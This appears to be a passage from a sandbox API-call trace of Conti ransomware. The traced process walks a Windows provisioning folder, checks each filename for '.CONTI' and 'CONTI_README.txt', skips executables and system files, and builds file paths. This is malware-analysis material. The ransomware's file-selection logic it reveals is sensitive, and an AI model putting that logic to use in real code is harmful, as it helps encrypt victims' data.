	[0109.522] StrStrIW (lpFirst="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.522] StrStrIW (lpFirst="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.522] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.522] lstrlenW (lpString="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml") returned 78
	[0109.522] GetProcessHeap () returned 0x1720000
	[0109.522] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x18156e8
	[0109.522] lstrcpyW (in: lpString1=0x18156e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.522] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.522] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml"
	[0109.522] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", cAlternateFileName="483__C~1.PRO")) returned 1
	[0109.522] lstrcmpiW (lpString1="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.522] lstrcmpiW (lpString1="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.522] StrStrIW (lpFirst="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.522] StrStrIW (lpFirst="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.523] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.523] lstrlenW (lpString="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml") returned 78
	[0109.523] GetProcessHeap () returned 0x1720000
	[0109.523] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x1815c88
	[0109.523] lstrcpyW (in: lpString1=0x1815c88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.523] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.523] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml"
	[0109.523] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="484__C~1.PRO")) returned 1
	[0109.533] lstrcmpiW (lpString1="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.533] lstrcmpiW (lpString1="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.533] StrStrIW (lpFirst="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.534] StrStrIW (lpFirst="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.534] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.534] lstrlenW (lpString="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.538] GetProcessHeap () returned 0x1720000
	[0109.538] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b81528
	[0109.538] lstrcpyW (in: lpString1=0x6b81528, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.538] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.547] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.547] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="485__C~1.PRO")) returned 1
	[0109.547] lstrcmpiW (lpString1="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.547] lstrcmpiW (lpString1="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.551] StrStrIW (lpFirst="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.551] StrStrIW (lpFirst="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.551] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.552] lstrlenW (lpString="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.556] GetProcessHeap () returned 0x1720000
	[0109.556] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x180c698
	[0109.556] lstrcpyW (in: lpString1=0x180c698, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.556] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.557] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml"
	[0109.557] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", cAlternateFileName="486__C~1.PRO")) returned 1
	[0109.558] lstrcmpiW (lpString1="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.558] lstrcmpiW (lpString1="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.558] StrStrIW (lpFirst="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.558] StrStrIW (lpFirst="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.558] StrStrIW (lpFirst="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.558] StrStrIW (lpFirst="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.558] StrStrIW (lpFirst="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.558] StrStrIW (lpFirst="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.558] StrStrIW (lpFirst="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.558] StrStrIW (lpFirst="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.558] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.558] lstrlenW (lpString="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml") returned 70
	[0109.558] GetProcessHeap () returned 0x1720000
	[0109.558] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x180c3e8
	[0109.558] lstrcpyW (in: lpString1=0x180c3e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.558] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.558] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml"
	[0109.559] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", cAlternateFileName="487__C~1.PRO")) returned 1
	[0109.559] lstrcmpiW (lpString1="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.559] lstrcmpiW (lpString1="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.559] StrStrIW (lpFirst="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.559] StrStrIW (lpFirst="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.559] StrStrIW (lpFirst="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.559] StrStrIW (lpFirst="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.559] StrStrIW (lpFirst="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.559] StrStrIW (lpFirst="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.559] StrStrIW (lpFirst="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.559] StrStrIW (lpFirst="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.559] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.559] lstrlenW (lpString="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml") returned 70
	[0109.559] GetProcessHeap () returned 0x1720000
	[0109.559] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x180b118
	[0109.559] lstrcpyW (in: lpString1=0x180b118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.559] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.559] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml"
	[0109.559] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="488__C~1.PRO")) returned 1
	[0109.559] lstrcmpiW (lpString1="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0109.559] lstrcmpiW (lpString1="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0109.559] StrStrIW (lpFirst="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.559] StrStrIW (lpFirst="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.559] StrStrIW (lpFirst="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".exe") returned 0x0
	[0109.559] StrStrIW (lpFirst="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".dll") returned 0x0
	[0109.559] StrStrIW (lpFirst="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".lnk") returned 0x0
	[0109.559] StrStrIW (lpFirst="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".sys") returned 0x0
	[0109.559] StrStrIW (lpFirst="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.559] StrStrIW (lpFirst="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.559] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.559] lstrlenW (lpString="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0109.559] GetProcessHeap () returned 0x1720000
	[0109.559] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x1809758
	[0109.560] lstrcpyW (in: lpString1=0x1809758, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.560] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.560] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.560] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911a1852, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911a1852, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911a1852, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="489__C~1.PRO")) returned 1
	[0109.560] lstrcmpiW (lpString1="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.560] lstrcmpiW (lpString1="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.560] StrStrIW (lpFirst="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.560] StrStrIW (lpFirst="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.560] StrStrIW (lpFirst="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.560] StrStrIW (lpFirst="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.560] StrStrIW (lpFirst="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.560] StrStrIW (lpFirst="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.560] StrStrIW (lpFirst="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.560] StrStrIW (lpFirst="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.560] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.560] lstrlenW (lpString="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.560] GetProcessHeap () returned 0x1720000
	[0109.560] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b80f60
	[0109.560] lstrcpyW (in: lpString1=0x6b80f60, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.560] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
